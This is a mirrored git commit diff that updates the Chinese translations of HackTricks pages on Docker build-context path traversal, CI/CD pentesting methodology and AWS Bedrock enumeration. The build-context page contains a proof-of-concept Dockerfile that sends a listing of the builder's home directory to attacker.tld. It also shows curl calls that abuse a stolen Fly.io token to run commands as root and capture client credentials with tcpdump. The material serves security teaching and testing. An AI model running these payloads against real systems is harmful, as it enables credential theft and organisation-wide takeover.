gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

Browse Source
This commit is contained in:
Translator
2025-10-25 22:35:59 +00:00
parent 30328227db
commit 148aa9dffa
3 changed files with 77 additions and 78 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/docker-build-context-abuse.md
+28 -28
View File
@@ -1,29 +1,29 @@
# 在 Hosted Builders 中滥用 Docker Build Context (Path Traversal, Exfil, and Cloud Pivot)
# 滥用 Docker Build Context 在 托管 构建器 (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
如果一个 CI/CD 平台或 hosted builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径，你通常可以将 context 设置为父目录（例如 ".."），使主机文件成为 build context 的一部分。然后，攻击者控制的 Dockerfile 可以使用 COPY 并 exfiltrate 位于 builder 用户主目录的秘密（例如 ~/.docker/config.json）。被窃取的 registry tokens 也可能对提供商的 control-plane APIs 生效，从而导致 org-wide RCE。
如果 CI/CD 平台或托管 builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径，通常可以将 context 设置为父目录（例如 ".."），使主机文件成为构建上下文的一部分。然后，攻击者控制的 Dockerfile 可以 COPY 并外泄位于 builder 用户主目录的秘密（例如 ~/.docker/config.json）。被盗的 registry tokens 也可能对提供商的 control-plane APIs 生效，从而实现组织范围的 RCE。
## Attack surface
## 攻击面
许多 hosted builder/registry services 在构建用户提交的镜像时大致按以下方式工作：
- 读取包含以下内容的 repo 级配置：
- build context path（发送给 Docker daemon）
- Dockerfile path（相对于该 context）
许多托管 builder/registry 服务在构建用户提交的镜像时大致执行以下操作：
- 读取包含以下内容的 repo 级别配置：
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- 将指定的 build context 目录和 Dockerfile 复制到 Docker daemon
- 构建镜像并以托管服务运行
- 构建镜像并将其作为托管服务运行
如果平台没有对 build context 进行规范化并加以限制，用户可以将其设置为仓库之外的位置（path traversal），使构建用户可读的任意主机文件成为 build context 的一部分，并可在 Dockerfile 中被 COPY。
如果平台没有对 build context 进行规范化和限制，用户可以将其设置为仓库之外的位置（path traversal），导致构建用户可读的任意主机文件成为构建上下文的一部分，并可在 Dockerfile 中通过 COPY 访问。
常见的实际限制：
- Dockerfile 必须位于所选 context 路径内，且其路径必须事先已知。
- 构建用户必须对包含在 context 中的文件具有读取权限；特殊设备文件可能会导致复制失败。
常见的实际约束：
- Dockerfile 必须位于所选的 context 路径内，并且其路径必须事先已知。
- build user 必须对包含在 context 中的文件具有读取权限；特殊设备文件可能会破坏复制过程。
## PoC: Path traversal via Docker build context
示例恶意服务器配置，声明一个位于父目录上下文中的 Dockerfile：
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
@@ -41,10 +41,10 @@ exampleConfig:
apiKey: "sk-example123"
```
注意：
- 使用 ".." 常常解析到 builder 用户的 home（例如 /home/builder），该目录通常包含敏感文件。
- 将你的 Dockerfile 放在 repo 的目录名下（例如 repo "test" → test/Dockerfile），这样它会保持在展开的父上下文内。
- 使用 '..' 通常会解析到 builder 用户的主目录（例如 /home/builder），该目录通常包含敏感文件。
- 将 Dockerfile 放在仓库的目录名下（例如，repo "test" → test/Dockerfile），以便它保持在展开的父上下文内。
## PoC: Dockerfile 用于摄取并 exfiltrate 主机上下文
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
@@ -52,34 +52,34 @@ RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
常见从 $HOME 恢复的目标：
通常从 $HOME 恢复的目标：
- ~/.docker/config.json (registry auths/tokens)
- 其他 cloud/CLI 缓存和配置（例如：~/.fly, ~/.kube, ~/.aws, ~/.config/*）
- 其他 cloud/CLI 缓存和配置（例如 ~/.fly, ~/.kube, ~/.aws, ~/.config/*）
提示：即使仓库中存在 .dockerignore，易受攻击的平台端上下文选择仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前就将所选路径复制到 daemon，主机文件仍可能被暴露。
提示：即使仓库中包含 .dockerignore，易受攻击的平台端 context selection 仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前将所选路径复制到 daemon，主机文件仍可能被暴露。
## Cloud pivot — 使用权限过大的 tokens (example: Fly.io Machines API)
## 使用过度权限 tokens 进行 Cloud pivot（示例：Fly.io Machines API）
某些平台会签发单个 bearer token，可同时用于 container registry 和 control-plane API。如果你窃取了 registry token，尝试将其用于 provider API。
某些平台会颁发一个可同时用于 container registry 和 control-plane API 的 bearer token。如果你 exfiltrate 了一个 registry token，尝试用它访问 provider 的 API。
使用从 ~/.docker/config.json 偷取的 token 对 Fly.io Machines API 的示例 API 调用：
使用从 ~/.docker/config.json 获取的被盗 token 对 Fly.io Machines API 发起的示例 API 调用：
列举 org 中的 apps：
列举组织中的 apps：
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
在应用的任何机器中以 root 身份运行命令：
在任意 app 的任何机器内以 root 身份运行命令：
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
结果：在 token 拥有足够权限时，可对所有托管应用实现整个组织范围的 remote code execution。
结果：在 token 拥有足够权限的情况下，可对所有托管应用实现整个组织范围的 remote code execution。
## 来自被攻陷的托管服务的机密窃取
## 从被攻陷的托管服务窃取 Secret
在托管服务器上获得 exec/RCE 后，你可以收集客户端提供的 secrets（API keys、tokens），或发起 prompt-injection attacks。示例：安装 tcpdump 并捕获 port 8080 上的 HTTP 流量以提取传入 credentials。
在对托管服务器取得 exec/RCE 后，你可以窃取 client-supplied secrets (API keys, tokens) 或发起 prompt-injection 攻击。示例：安装 tcpdump 并在端口 8080 捕获 HTTP 流量以提取 inbound credentials。
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
捕获到的请求通常会在 headers、bodies 或 query params 中包含 client credentials。
捕获的请求通常在 headers、bodies 或 query params 中包含客户端凭证。
## 参考资料
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+46 -47
View File
@@ -1,4 +1,4 @@
# Pentesting CI/CD 方法论
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS 代表 Version Control System，該系統允許開發者管理其源代碼。最常見的是 **git**，你通常會在以下平台之一看到公司使用它：
VCS 是 **版本控制系统 (Version Control System)**，该系统允许开发者**管理他们的源代码**。最常见的是 **git**，你通常会在以下**平台**中看到公司使用它：
- Github
- Gitlab
@@ -18,40 +18,39 @@ VCS 代表 Version Control System，該系統允許開發者管理其源代碼
## CI/CD Pipelines
CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的，包括構建、測試和部署應用。這些自動化工作流會由特定動作觸發，例如 code pushes、pull requests 或排程任務。它們有助於精簡從開發到生產的流程。
CI/CD pipelines 使开发者能够**自动执行代码**以完成多种目的，包括构建、测试和部署应用。这些自动化工作流由特定的操作触发，例如 code pushes、pull requests 或计划任务。它们有助于简化从开发到生产的流程。
然而，這些系統需要在某處被執行，且通常需要帶有特權的憑證來部署代碼或存取敏感資訊。
但是，这些系统需要在某处**执行**，并且通常需要**有特权的凭证来部署代码或访问敏感信息**。
## VCS Pentesting Methodology
> [!NOTE]
> 即使有些 VCS 平台允許為本節建立 pipelines，我們將只分析對源代碼控制的潛在攻擊。
> 即便一些 VCS platforms 允许为此部分创建 pipelines，我们在本节中只分析对源代码控制的潜在攻击。
儲存專案源代碼的平台包含敏感資訊，因此需要非常小心在此平台內授予的權限。以下是攻擊者可能濫用的一些常見問題：
- **Leaks**: 如果你的代碼在提交中包含 leaks，且攻擊者能夠存取該 repo（因為是公開的或他有存取權），他可能會發現這些 leaks。
- **Access**: 如果攻擊者能夠存取 VCS 平台內的某個帳號，他可能會獲得更多的能見度和權限。
- **Register**: 有些平台允許外部使用者直接註冊帳號。
- **SSO**: 有些平台不允許註冊，但允許任何擁有有效 SSO 的人登入（例如攻擊者可以用他的 github 帳號登入）。
- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies……有多種類型的 token，使用者可能會被竊取來以某種方式存取 repo。
- **Webhooks**: VCS 平台允許產生 webhooks。如果它們沒有以不可見的 secret 保護，攻擊者可能會濫用它們。
- 如果沒有 secret，攻擊者可以濫用第三方平台的 webhook
- 如果 secret 在 URL 中，同樣會發生，而且攻擊者也會得到該 secret
- **Code compromise:** 如果惡意行為者對 repo 具有某種寫入權限，他可能會嘗試注入惡意代碼。為了成功，他可能需要繞過 branch protections。這些行為可為達成不同目標而執行：
- 妥協 main branch 以便進一步妥協 production。
- 妥協 main（或其他 branch）以妥協開發者的機器（因為他們通常會在自己的機器上執行測試、terraform 或其他來自 repo 的東西）。
- **Compromise the pipeline** (見下一節)
托管项目源代码的平台包含敏感信息，因此必须非常小心在该平台内授予的权限。以下是攻击者可能滥用的一些常见问题：
- **Leaks**: 如果你的代码在提交中包含 leaks，且攻击者可以访问 repo（因为它是 public 或者他已有访问权限），他可能会发现这些 leaks。
- **Access**: 如果攻击者能**访问 VCS platform 内的一个账户**，他可能会获得**更多的可见性和权限**。
- **Register**: 一些平台允许外部用户直接创建账户。
- **SSO**: 有些平台不允许直接注册，但允许任何拥有有效 SSO 的人访问（例如攻击者可以用他的 github 账户登录）。
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 有多种类型的令牌可以被窃取，从而以某种方式访问 repo。
- **Webhooks**: VCS platforms 允许生成 webhooks。如果这些 webhooks **未用不可见的 secret 保护**，**攻击者可能会滥用它们**。
- 如果没有 secret，攻击者可能滥用第三方平台的 webhook。
- 如果 secret 在 URL 中，同样会发生并且攻击者也会拥有该 secret。
- **Code compromise:** 如果恶意行为者对仓库拥有某种**写入**权限，他可能尝试**注入恶意代码**。要成功，他可能需要**绕过 branch protections**。这些操作可以出于不同目的：
- 攻破 main branch 以**影响 production**。
- 攻破 main（或其他分支）以**感染开发者的机器**（因为他们通常在机器上运行测试、terraform 或其他在 repo 内的任务）。
- **Compromise the pipeline**（见下一节）
## Pipelines Pentesting Methodology
定義 pipeline 最常見的方式，是在被構建的 repository 中使用一個 **CI configuration file**。該檔描述了被執行 job 的順序、影響流程的條件，以及構建環境設定。\
這些檔案通常有一致的名稱與格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位於 .github/workflows 下的 GitHub Actions YAML 檔。當被觸發時，pipeline job 會從選定的來源（例如 commit / branch）**拉取代碼**，並針對該代碼**執行 CI configuration file 中指定的命令**。
定义 pipeline 最常见的方式，是使用**托管在仓库中的 CI 配置文件**来描述。该文件说明执行作业的顺序、影响流程的条件以及构建环境设置。\
这些文件通常有统一的名称和格式，例如 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI)，以及位于 .github/workflows 下的 GitHub Actions YAML 文件。当触发时，pipeline 作业会**从选定源（例如 commit / branch）拉取代码**，并**针对该代码运行 CI 配置文件中指定的命令**。
因此，攻擊者的最終目標是以某種方式**妥協那些設定檔**或是**它們所執行的命令**。
因此，攻击者的最终目标是以某种方式**篡改这些配置文件**或它们**执行的命令**。
> [!TIP]
> 有些 hosted builders 允許 contributors 選擇 Docker build context 與 Dockerfile 路徑。如果 context 可被攻擊者控制，你可能會將其設在 repo 之外（例如 ".."）以便在構建期間吸入主機檔案並外洩 secrets。詳見：
> 一些托管的 builder 允许贡献者选择 Docker build context 和 Dockerfile 路径。如果 context 可被攻击者控制，你可以将其设置到仓库外（例如 ".."）以在构建期间读取主机文件并外泄 secrets。参见：
>
>{{#ref}}
>docker-build-context-abuse.md
@@ -59,53 +58,53 @@ CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的，包
### PPE - Poisoned Pipeline Execution
Poisoned Pipeline Execution (PPE) 路徑利用 SCM repository 的權限來操控 CI pipeline 並執行有害命令。具有必要權限的使用者可以修改 CI configuration 檔或 pipeline job 使用的其他檔案，以包含惡意命令。這會「poison」CI pipeline，導致執行這些惡意命令。
Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。拥有必要权限的用户可以修改 CI 配置文件或 pipeline 作业使用的其他文件以包含恶意命令。这会“污染”CI pipeline，导致这些恶意命令被执行。
要成功執行 PPE 攻擊，惡意行為者需要能夠：
要成功执行 PPE 攻击，恶意行为者需要能够：
- 擁有 **write access to the VCS platform**，因為通常 pipeline 是在 push 或 pull request 發生時被觸發。（查看 VCS pentesting methodology 以取得取得存取的摘要）
- 注意有時外部 PR 也會算作「write access」。
- 即便他有寫入權限，他還需要確定能**修改 CI config file 或其他 CI config 所依賴的檔案**。
- 為此，他可能需要能夠**繞過 branch protections**。
- 拥有对 VCS platform 的**写入访问**，因为通常 pipeline 在 push 或 pull request 时被触发。（查看 VCS pentesting methodology 了解获取访问权限的汇总方式）。
- 注意有时**外部 PR 也会被视为“写入访问”**。
- 即便他有写入权限，他也需要确保能**修改 CI 配置文件或配置所依赖的其他文件**。
- 为此，他可能需要能够**绕过 branch protections**。
PPE 有 3 種變體：
PPE 有 3 种变体：
- **D-PPE**: Direct PPE 發生在攻擊者直接**修改將要被執行的 CI config** 檔時。
- **I-DDE**: Indirect PPE 發生在攻擊者**修改**CI config 所依賴的**檔案**（例如 make file 或 terraform config）。
- **Public PPE or 3PE**: 在某些情況下，pipelines 可以被沒有寫入權限的使用者（甚至不是 org 成員）觸發，因為他們可以送出 PR。
- **3PE Command Injection**: 通常，CI/CD pipelines 會以環境變數設定有關 PR 的資訊。如果該值可被攻擊者控制（例如 PR 的標題），且被用在危險的位置（例如執行 sh 命令），攻擊者可能會在其中**注入命令**。
- **D-PPE**: **Direct PPE** 发生在攻击者直接**修改将被执行的 CI 配置**文件时。
- **I-DDE**: **Indirect PPE** 发生在攻击者**修改 CI 配置所依赖的文件**（例如 make 文件或 terraform 配置）时。
- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有仓库写入权限的用户触发**（这些用户可能甚至不是组织成员），因为他们可以发送 PR。
- **3PE Command Injection**: 通常，CI/CD pipelines 会用**关于 PR 的信息设置环境变量**。如果该值可被攻击者控制（例如 PR 的标题）且被**用于危险的地方**（比如执行 sh 命令），攻击者可能在其中**注入命令**。
### Exploitation Benefits
了解三種 poison pipeline 的變體後，來看攻擊者在成功利用後可能獲得的東西：
了解了三种污染 pipeline 的方式后，我们来看攻击者成功利用后可能获得的收益：
- **Secrets**: 如前所述，pipeline 的 job 需要特權（取得代碼、構建、部署…），這些特權通常以 secrets 的形式存在。這些 secrets 通常可透過 **env variables 或系統內的檔案** 存取。因此攻擊者會盡可能嘗試外洩最多的 secrets。
- 根據 pipeline 平台，攻擊者可能**需要在 config 中指定 secrets**。這代表如果攻擊者無法修改 CI configuration pipeline（例如 I-PPE），他可能**只能外洩該 pipeline 本身擁有的 secrets**。
- **Computation**: 代碼會在某處被執行，視執行位置不同，攻擊者可能能夠進一步 pivot。
- **On-Premises**: 若 pipeline 在內部執行，攻擊者可能進入內網並存取更多資源。
- **Cloud**: 攻擊者可能存取雲端中的其他機器，或外洩 IAM roles/service accounts tokens 以在雲端內獲得更深入的存取。
- **Platforms machine**: 有時 job 會在 pipelines platform 的機器上執行，這些機器通常位於雲端且沒有更多的額外存取權限。
- **Select it:** 有時 pipelines platform 會配置多台機器，如果你能修改 CI configuration file，你可以指定在哪台機器上運行惡意代碼。在這種情況下，攻擊者可能會在每台可用機器上運行反向 shell 以進一步嘗試利用。
- **Compromise production**: 如果你已進入 pipeline，且最終版本是從 pipeline 建構並部署的，你可以妥協將在 production 運行的程式碼。
- **Secrets**: 如前所述，pipeline 的作业需要获取特权（检索代码、构建、部署等），这些特权通常以 **secrets** 的形式存在。这些 secrets 通常可以通过 **env 变量或系统内的文件**访问。因此攻击者会尽可能外泄大量 secrets。
- 根据 pipeline 平台的不同，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者不能修改 CI 配置 pipeline（例如 I-PPE），他**只能外泄该 pipeline 所具有的 secrets**。
- **Computation**: 代码在某处被执行，取决于执行位置，攻击者可能进一步横向移动。
- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能进入**内部网络并访问更多资源**。
- **Cloud**: 攻击者可能访问云中的其他机器，也可能**外泄 IAM roles/service accounts 的 tokens**以获取云内的进一步访问。
- **Platforms machine**: 有时作业会在 **pipelines platform 的机器**内执行，这些机器通常位于云中且没有更多权限。
- **Select it:** 有时 **pipelines platform 配置了多种机器**，如果你能**修改 CI 配置文件**，你可以**指定要在哪台机器上运行恶意代码**。在这种情况下，攻击者可能会在每台可用机器上运行反向 shell 以尝试进一步利用。
- **Compromise production**: 如果你在 pipeline 内部并且最终版本就是从这里构建和部署的，你可以**篡改将在生产中运行的代码**。
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一個開源工具，用以根據新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 對你的 software supply chain stack 做安全合規性審核。該審核涵蓋整個 SDLC 流程，可揭露從代碼提交到部署階段的風險。
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于基于新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 对你的软件供应链堆栈进行安全合规审计。审计关注整个 SDLC 过程，可以揭示从代码阶段到部署阶段的风险。
### Top 10 CI/CD Security Risk
參考 Cider 所列的 CI/CD 前十大風險，詳見： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
查看 Cider 关于前十个 CI/CD 风险的有趣文章: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- 對於每個可以在本機執行的平台，你會找到如何在本機啟動的說明，以便你可以按需配置來測試。
- 在每个平台的本地运行示例中，你会找到如何在本地启动它的说明，以便你可以按需配置来测试。
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一個針對 infrastructure-as-code 的靜態代碼分析工具。
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个针对基础设施即代码的静态代码分析工具。
## References
src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md
+3 -3
View File
@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## 概述
## Overview
Amazon Bedrock 是一项完全托管的服务，使使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 构建和扩展生成式 AI 应用变得简单。Bedrock 通过单一 API 提供对多种基础模型的访问，允许开发者为特定用例选择最合适的模型，而无需管理底层基础设施。
Amazon Bedrock 是一项全托管服务，使得使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 来构建和扩展生成式 AI 应用变得容易。Bedrock 通过单一 API 提供对各种 FMs 的访问，允许开发者为特定用例选择最合适的模型，而无需管理底层基础设施。
## 后渗透
## Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-bedrock-post-exploitation/README.md